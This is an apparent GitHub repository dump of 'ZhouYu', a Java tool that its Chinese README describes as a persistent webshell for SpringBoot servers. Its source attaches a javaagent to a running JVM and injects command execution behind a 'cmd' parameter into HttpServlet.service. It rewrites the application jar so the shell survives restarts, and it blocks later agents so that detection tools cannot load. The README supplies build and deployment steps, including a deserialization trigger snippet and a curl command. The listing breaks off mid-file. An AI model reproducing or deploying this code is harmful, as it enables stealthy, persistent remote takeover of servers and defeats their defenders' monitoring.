├── .gitignore ├── LICENSE ├── README.md ├── agent ├── build.gradle └── src │ └── main │ └── java │ └── zhouyu │ └── agent │ ├── ExpGen.java │ └── ZhouYu.java ├── build.gradle ├── core ├── build.gradle └── src │ └── main │ └── java │ └── zhouyu │ └── core │ ├── config │ └── Config.java │ ├── init │ ├── ProtectTransformer.java │ └── WriteShellTransformer.java │ ├── transformer │ ├── CoreClassFileTransformer.java │ └── Transformer.java │ └── util │ └── JavassistUtil.java └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | /build/ 2 | .idea 3 | *.iws 4 | *.iml 5 | *.ipr 6 | /out/ 7 | .DS_Store 8 | out/ 9 | /gradlew.bat 10 | /gradle 11 | /gradlew 12 | **/build 13 | **/*.jar 14 | .gradle -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责* 2 | 3 | ### ZhouYu -> 周瑜 4 | 5 | Java - SpringBoot 持久化 WebShell(适配任何符合JavaEE规范的服务) 6 | 7 | 背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失! 8 | 9 | 1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀 10 | 11 | 2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉 12 | 13 | ### 一、打包编译 14 | 15 | 命令: 16 | ```text 17 | gradle :agent:shadowJar 18 | ``` 19 | 或 20 | ```text 21 | ./gradlew :agent:shadowJar 22 | ``` 23 | 24 | 编译后得到 agent/build/libs/agent-1.0-SNAPSHOT-all.jar,即ZhouYu.jar 25 | 26 | ### 二、使用方式 27 | 28 | 两种场景: 29 | 30 | 1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多 31 | ```text 32 | java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号! 33 | ``` 34 | 35 | 2. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码) 36 | 37 | 先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar 38 | 39 | 接着执行下面代码: 40 | ``` 41 | try { 42 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName(); 43 | int indexOf = pid.indexOf('@'); 44 | if (indexOf > 0) { 45 | pid = pid.substring(0, indexOf); 46 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid)); 47 | } 48 | } catch (Throwable throwable) { 49 | 50 | } 51 | ``` 52 | 53 | 3. 执行命令 54 | ``` 55 | curl -XGET "http://127.0.0.1:8080?cmd=whoami" 56 | ``` 57 | 58 | ### WARNNING 59 | 60 | #### 为了防止出现生产事故,在对原有jar(A.jar)进行替换修改前,会对其进行备份,备份到当前目录下(命名为.A.jar.bk) -------------------------------------------------------------------------------- /agent/build.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/threedr3am/ZhouYu/442d6e097496d8e42dfafb7a37ddb824e0a8c0d2/agent/build.gradle -------------------------------------------------------------------------------- /agent/src/main/java/zhouyu/agent/ExpGen.java: -------------------------------------------------------------------------------- 1 | package zhouyu.agent; 2 | 3 | import java.io.IOException; 4 | 5 | public class ExpGen { 6 | 7 | public static void main(String[] args) throws IOException { 8 | try { 9 | String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName(); 10 | int indexOf = pid.indexOf('@'); 11 | if (indexOf > 0) { 12 | pid = pid.substring(0, indexOf); 13 | Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid)); 14 | } 15 | } catch (Throwable throwable) { 16 | 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /agent/src/main/java/zhouyu/agent/ZhouYu.java: -------------------------------------------------------------------------------- 1 | package zhouyu.agent; 2 | 3 | import com.sun.tools.attach.AgentInitializationException; 4 | import com.sun.tools.attach.AgentLoadException; 5 | import com.sun.tools.attach.AttachNotSupportedException; 6 | import com.sun.tools.attach.VirtualMachine; 7 | import java.io.IOException; 8 | import java.lang.instrument.Instrumentation; 9 | import zhouyu.core.config.Config; 10 | import zhouyu.core.transformer.CoreClassFileTransformer; 11 | 12 | public class ZhouYu { 13 | 14 | public static void premain(String agentArg, Instrumentation inst) { 15 | init(agentArg, inst); 16 | } 17 | 18 | public static void agentmain(String agentArg, Instrumentation inst) { 19 | init(agentArg, inst); 20 | } 21 | 22 | public static synchronized void init(String action, Instrumentation inst) { 23 | System.out.println("[ZhouYu] 持久化Agent Shell启动 ..."); 24 | System.out.println(String.format("[ZhouYu] 参数: %s", action)); 25 | try { 26 | Config.init(action); 27 | CoreClassFileTransformer coreClassFileTransformer = new CoreClassFileTransformer(inst); 28 | inst.addTransformer(coreClassFileTransformer, true); 29 | coreClassFileTransformer.retransform(); 30 | } catch (Throwable e) { 31 | System.err.println("[ZhouYu] 持久化Agent Shell写入失败!"); 32 | e.printStackTrace(); 33 | } 34 | } 35 | 36 | public static void main(String[] args) 37 | throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { 38 | if (args.length == 0) { 39 | System.err.println("[ZhouYu] 参数缺少,例:java -jar ZhouYu.jar 23232,23232为需要attach的jvm进程号!"); 40 | System.exit(-1); 41 | } 42 | VirtualMachine vmObj = null; 43 | 44 | try { 45 | vmObj = VirtualMachine.attach(args[0]); 46 | String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile(); 47 | if (vmObj != null) { 48 | if (args.length > 1) { 49 | vmObj.loadAgent(agentpath, args[1]); 50 | } else { 51 | vmObj.loadAgent(agentpath); 52 | } 53 | } 54 | } finally { 55 | if (null != vmObj) { 56 | vmObj.detach(); 57 | } 58 | 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | buildscript { 2 | repositories { 3 | jcenter() 4 | } 5 | 6 | dependencies { 7 | classpath "com.github.jengelman.gradle.plugins:shadow:4.0.3" 8 | } 9 | } 10 | 11 | allprojects { 12 | apply plugin: 'java' 13 | 14 | group 'zhouyu' 15 | version '1.0-SNAPSHOT' 16 | 17 | sourceCompatibility = 1.8 18 | targetCompatibility = 1.8 19 | } 20 | 21 | subprojects { 22 | dependencies { 23 | testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0' 24 | testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine' 25 | 26 | runtime files(org.gradle.internal.jvm.Jvm.current().toolsJar) 27 | } 28 | 29 | repositories { 30 | mavenCentral() 31 | } 32 | 33 | test { 34 | useJUnitPlatform() 35 | } 36 | } 37 | 38 | project(":agent") { 39 | 40 | apply plugin: 'com.github.johnrengelman.shadow' 41 | 42 | shadowJar { 43 | manifest { 44 | attributes 'Main-Class': 'zhouyu.agent.ZhouYu' 45 | attributes 'Premain-Class': 'zhouyu.agent.ZhouYu' 46 | attributes 'Agent-Class': 'zhouyu.agent.ZhouYu' 47 | attributes 'Can-Redefine-Classes': true 48 | attributes 'Can-Retransform-Classes': true 49 | } 50 | 51 | relocate 'javassist', 'zhouyu.javassist' 52 | } 53 | 54 | dependencies { 55 | compile project(":core") 56 | } 57 | 58 | project.jar.enabled(false) 59 | project.build.dependsOn(shadowJar) 60 | } 61 | 62 | project(":core") { 63 | 64 | dependencies { 65 | compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA' 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /core/build.gradle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/threedr3am/ZhouYu/442d6e097496d8e42dfafb7a37ddb824e0a8c0d2/core/build.gradle -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/config/Config.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.config; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | 9 | public class Config { 10 | 11 | private static Config config; 12 | 13 | private static Boolean printError = false; 14 | 15 | public static final Config getInstance() { 16 | if (config == null) { 17 | synchronized (Config.class) { 18 | if (config == null) { 19 | config = new Config(); 20 | } 21 | } 22 | } 23 | return config; 24 | } 25 | 26 | public static void init(String action) throws IllegalAccessException { 27 | if (action == null || action.isEmpty()) { 28 | return; 29 | } 30 | Config config = getInstance(); 31 | Map fieldMap = new HashMap<>(); 32 | Field[] fields = Config.class.getDeclaredFields(); 33 | for (Field field : fields) { 34 | if (field.getName().equals("config")) { 35 | continue; 36 | } 37 | fieldMap.put(field.getName(), field); 38 | } 39 | 40 | Pattern pattern = Pattern.compile("((.+?)=(.+?))(,|$)"); 41 | Matcher matcher = pattern.matcher(action); 42 | while (matcher.find()) { 43 | String key = matcher.group(2); 44 | String value = matcher.group(3); 45 | Field field; 46 | if ((field = fieldMap.get(key)) != null) { 47 | if (field.getType() == Boolean.class) { 48 | field.set(config, Boolean.valueOf(value)); 49 | } else if (field.getType() == Integer.class) { 50 | field.set(config, Integer.valueOf(value)); 51 | } else if (field.getType() == Long.class) { 52 | field.set(config, Long.valueOf(value)); 53 | } else { 54 | field.set(config, value); 55 | } 56 | } 57 | } 58 | } 59 | 60 | public static Boolean getPrintError() { 61 | return printError; 62 | } 63 | 64 | public static void main(String[] args) { 65 | System.out.println(); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/init/ProtectTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.init; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.LoaderClassPath; 7 | import zhouyu.core.transformer.Transformer; 8 | 9 | public class ProtectTransformer implements Transformer { 10 | 11 | @Override 12 | public boolean condition(String className) { 13 | return false;//这里false,意味着,比周瑜这个javaagent更早启动的javaagent,是不会被检测和干掉的!(意味着,正在运行的rasp不会被干掉) 14 | } 15 | 16 | @Override 17 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) { 18 | return check(className, loader, codeBytes); 19 | } 20 | 21 | private byte[] check(String className, ClassLoader loader, byte[] codeBytes) { 22 | CtClass ctClass = null; 23 | try { 24 | ClassPool classPool = ClassPool.getDefault(); 25 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes)); 26 | if (ctClass != null && check0(className, ctClass)) { 27 | return new byte[0]; 28 | } 29 | } catch (Throwable e) { 30 | e.printStackTrace(); 31 | } finally { 32 | if (ctClass != null) { 33 | ctClass.detach(); 34 | } 35 | } 36 | return codeBytes; 37 | } 38 | 39 | /** 40 | * 递归检测java.lang.instrument.ClassFileTransformer接口,防止多层嵌套interface结构绕过 41 | * 42 | * @param className 43 | * @param ctClass 44 | * @return 45 | * @throws Throwable 46 | */ 47 | private boolean check0(String className, CtClass ctClass) throws Throwable { 48 | CtClass[] interfaces = ctClass.getInterfaces(); 49 | if (interfaces != null) { 50 | boolean flag = false; 51 | for (CtClass anInterface : interfaces) { 52 | //遇到其它的agent,直接干掉它,不让它加载 53 | if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) { 54 | System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!", className)); 55 | return true; 56 | } 57 | flag |= check0(className, anInterface); 58 | if (flag) { 59 | return flag; 60 | } 61 | } 62 | } 63 | return false; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /core/src/main/java/zhouyu/core/init/WriteShellTransformer.java: -------------------------------------------------------------------------------- 1 | package zhouyu.core.init; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.io.IOException; 9 | import java.lang.reflect.Modifier; 10 | import java.nio.file.Files; 11 | import java.nio.file.Paths; 12 | import java.nio.file.StandardOpenOption; 13 | import java.util.HashSet; 14 | import java.util.Set; 15 | import java.util.jar.JarEntry; 16 | import java.util.jar.JarInputStream; 17 | import java.util.jar.JarOutputStream; 18 | import java.util.jar.Manifest; 19 | import java.util.zip.CRC32; 20 | import javassist.ClassPool; 21 | import javassist.CtClass; 22 | import javassist.CtConstructor; 23 | import javassist.CtMethod; 24 | import javassist.LoaderClassPath; 25 | import zhouyu.core.transformer.Transformer; 26 | import zhouyu.core.util.JavassistUtil; 27 | 28 | public class WriteShellTransformer implements Transformer { 29 | 30 | private String[][] methods = new String[][] { 31 | new String[] {"javax/servlet/http/HttpServlet", "javax.servlet.http.HttpServlet", "service", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"}, 32 | }; 33 | 34 | private Set cache = new HashSet<>(); 35 | 36 | @Override 37 | public boolean condition(String className) { 38 | for (int i = 0; i < methods.length; i++) { 39 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) { 40 | return true; 41 | } 42 | } 43 | return false; 44 | } 45 | 46 | @Override 47 | public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) { 48 | for (int i = 0; i < methods.length; i++) { 49 | if (className.equals(methods[i][0]) || className.equals(methods[i][1])) { 50 | codeBytes = insertShell(methods[i][2], methods[i][3], loader, codeBytes, getBeforeInsertCode()); 51 | } 52 | } 53 | return codeBytes; 54 | } 55 | 56 | private String getBeforeInsertCode() { 57 | StringBuilder codeBuilder = new StringBuilder() 58 | .append("String cmd = $1.getParameter(\"cmd\");").append("\n") 59 | .append("if (cmd != null) {").append("\n") 60 | .append(" try {").append("\n") 61 | .append(" String[] cmds = cmd.split(\" \");").append("\n") 62 | .append(" InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();").append("\n") 63 | .append(" StringBuilder stringBuilder = new StringBuilder();").append("\n") 64 | .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));").append("\n") 65 | .append(" String line;").append("\n") 66 | .append(" while((line = bufferedReader.readLine()) != null) {").append("\n") 67 | .append(" stringBuilder.append(line).append(\"\\n\");").append("\n") 68 | .append(" }").append("\n") 69 | .append(" byte[] res = stringBuilder.toString().getBytes(StandardCharsets.UTF_8);").append("\n") 70 | .append(" $2.getOutputStream().write(res);").append("\n") 71 | // .append(" $2.getOutputStream().flush();").append("\n") 72 | // .append(" $2.getOutputStream().close();").append("\n") 73 | .append(" } catch (Throwable throwable) {").append("\n") 74 | .append(" throwable.printStackTrace();").append("\n") 75 | .append(" }").append("\n") 76 | .append("}").append("\n") 77 | ; 78 | return codeBuilder.toString(); 79 | } 80 | 81 | private byte[] insertShell(String hookMethod, String hookMethodSignature, ClassLoader loader, byte[] codeBytes, String beforeCode) { 82 | CtClass ctClass = null; 83 | try { 84 | ClassPool classPool = ClassPool.getDefault(); 85 | classPool.appendClassPath(new LoaderClassPath(loader)); 86 | classPool.importPackage("java.io.InputStream"); 87 | classPool.importPackage("java.lang.Runtime"); 88 | classPool.importPackage("java.lang.StringBuilder"); 89 | classPool.importPackage("java.io.BufferedReader"); 90 | classPool.importPackage("java.io.InputStreamReader"); 91 | classPool.importPackage("java.nio.charset.StandardCharsets"); 92 | ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes)); 93 | if (hookMethod.equals("")) { 94 | Set ctConstructors = JavassistUtil.getAllConstructors(ctClass); 95 | for (CtConstructor ctConstructor : ctConstructors) { 96 | if (ctConstructor.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*")) { 97 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctConstructor.getName(), ctConstructor.getSignature())); 98 | ctConstructor.insertBefore(beforeCode); 99 | } 100 | } 101 | } else { 102 | Set methods = JavassistUtil.getAllMethods(ctClass); 103 | for (CtMethod ctMethod : methods) { 104 | if ((Modifier.NATIVE & ctMethod.getModifiers()) == 0 && ctMethod.getName().equals(hookMethod) && (ctMethod.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*"))) { 105 | System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctMethod.getName(), ctMethod.getSignature())); 106 | ctMethod.insertBefore(beforeCode); 107 | } 108 | } 109 | } 110 | if (!cache.contains(ctClass.getName())) { 111 | System.out.println(ctClass.getURL().getFile()); 112 | overrideClassForJar(ctClass.getURL().getFile(), ctClass.toBytecode()); 113 | cache.add(ctClass.getName()); 114 | } 115 | return ctClass.toBytecode(); 116 | } catch (Throwable e) { 117 | e.printStackTrace(); 118 | } finally { 119 | if (ctClass != null) { 120 | ctClass.detach(); 121 | } 122 | } 123 | return codeBytes; 124 | } 125 | 126 | private void overrideClassForJar(String path, byte[] codeBytes) { 127 | try { 128 | if (!path.contains("!/")) { 129 | if (path.endsWith(".class")) { 130 | try { 131 | Files.write(Paths.get(path), codeBytes); 132 | } catch (IOException e) { 133 | e.printStackTrace(); 134 | } 135 | } 136 | } 137 | String origin = path.replace("file:", ""); 138 | String[] paths = origin.split("!/"); 139 | String jar = paths[0]; 140 | String secondJar = paths.length == 3 ? paths[1] : "NULL"; 141 | String target = jar + ".target"; 142 | int index = jar.lastIndexOf(File.separator); 143 | String bk = jar.substring(0, index + 1) + "." + jar.substring(index + 1) + ".bk"; 144 | String classPath = paths.length == 2 ? paths[1] : paths[2]; 145 | 146 | byte[] bytes = new byte[1024]; 147 | int count; 148 | JarEntry jarEntry; 149 | JarInputStream jarInputStream = new JarInputStream(new FileInputStream(jar)); 150 | Manifest manifest = getManifest(new JarInputStream(new FileInputStream(jar))); 151 | JarOutputStream jarOutputStream = manifest == null ? 152 | new JarOutputStream(new FileOutputStream(target)) 153 | : new JarOutputStream(new FileOutputStream(target), manifest); 154 | while((jarEntry = jarInputStream.getNextJarEntry()) != null) { 155 | if (jarEntry.getName().equals("META-INF/MANIFEST.MF")) { 156 | continue; 157 | } 158 | if (jarEntry.getName().equals(secondJar)) { 159 | System.out.println(String.format("替换jar: %s", jarEntry.getName())); 160 | ByteArrayOutputStream readByteArrayOutputStream = new ByteArrayOutputStream(); 161 | while ((count = jarInputStream.read(bytes)) != -1) { 162 | readByteArrayOutputStream.write(bytes, 0, count); 163 | } 164 | JarInputStream jarInputStream2 = new JarInputStream(new ByteArrayInputStream(readByteArrayOutputStream.toByteArray())); 165 | manifest = getManifest(new JarInputStream(new ByteArrayInputStream(readByteArrayOutputStream.toByteArray()))); 166 | ByteArrayOutputStream writeByteArrayOutputStream = new ByteArrayOutputStream(); 167 | JarOutputStream jarOutputStream2 = manifest == null ? 168 | new JarOutputStream(writeByteArrayOutputStream) 169 | : new JarOutputStream(writeByteArrayOutputStream, manifest); 170 | JarEntry jarEntry2; 171 | while((jarEntry2 = jarInputStream2.getNextJarEntry()) != null) { 172 | if (jarEntry2.getName().equals("META-INF/MANIFEST.MF")) { 173 | continue; 174 | } 175 | if (jarEntry2.getName().equals(classPath)) { 176 | JarEntry newJarEntry = new JarEntry(jarEntry2.getName()); 177 | newJarEntry.setMethod(JarEntry.STORED); 178 | newJarEntry.setCompressedSize(codeBytes.length); 179 | newJarEntry.setSize(codeBytes.length); 180 | CRC32 crc = new CRC32(); 181 | crc.reset(); 182 | crc.update(codeBytes); 183 | newJarEntry.setCrc(crc.getValue()); 184 | jarOutputStream2.putNextEntry(newJarEntry); 185 | jarOutputStream2.write(codeBytes); 186 | System.out.println(String.format("替换内部jar: %s 中的class: %s", jarEntry.getName(), jarEntry2.getName())); 187 | } else { 188 | jarOutputStream2.putNextEntry(jarEntry2); 189 | while ((count = jarInputStream2.read(bytes)) != -1) { 190 | jarOutputStream2.write(bytes, 0, count); 191 | } 192 | } 193 | jarOutputStream2.closeEntry(); 194 | jarInputStream2.closeEntry(); 195 | } 196 | jarOutputStream2.close(); 197 | jarInputStream2.close(); 198 | JarEntry newJarEntry = new JarEntry(jarEntry.getName()); 199 | newJarEntry.setMethod(JarEntry.STORED); 200 | newJarEntry.setCompressedSize(writeByteArrayOutputStream.size()); 201 | newJarEntry.setSize(writeByteArrayOutputStream.size()); 202 | CRC32 crc = new CRC32(); 203 | crc.reset(); 204 | crc.update(writeByteArrayOutputStream.toByteArray()); 205 | newJarEntry.setCrc(crc.getValue()); 206 | jarOutputStream.putNextEntry(newJarEntry); 207 | jarOutputStream.write(writeByteArrayOutputStream.toByteArray()); 208 | } else { 209 | if (jarEntry.getName().equals(classPath)) { 210 | JarEntry newJarEntry = new JarEntry(jarEntry.getName()); 211 | newJarEntry.setMethod(JarEntry.STORED); 212 | newJarEntry.setCompressedSize(codeBytes.length); 213 | newJarEntry.setSize(codeBytes.length); 214 | CRC32 crc = new CRC32(); 215 | crc.reset(); 216 | crc.update(codeBytes); 217 | newJarEntry.setCrc(crc.getValue()); 218 | jarOutputStream.putNextEntry(newJarEntry); 219 | jarOutputStream.write(codeBytes); 220 | System.out.println(String.format("替换class: %s", jarEntry.getName())); 221 | } else { 222 | jarOutputStream.putNextEntry(jarEntry); 223 | while ((count = jarInputStream.read(bytes)) != -1) { 224 | jarOutputStream.write(bytes, 0, count); 225 | } 226 | } 227 | } 228 | jarOutputStream.closeEntry(); 229 | jarInputStream.closeEntry(); 230 | } 231 | jarInputStream.close(); 232 | jarOutputStream.close(); 233 | 234 | Files.write(Paths.get(bk), Files.readAllBytes(Paths.get(jar))); 235 | Files.write(Paths.get(jar), Files.readAllBytes(Paths.get(target))); 236 | Files.delete(Paths.get(target)); 237 | System.out.println("替换" + jar + "完成,使用结束记得删除它哦!原有jar已备份为" + bk); 238 | } catch (IOException e) { 239 | e.printStackTrace(); 240 | } 241 | 242 | } 243 | 244 | private Manifest getManifest(JarInputStream jarInputStream) throws IOException { 245 | Manifest 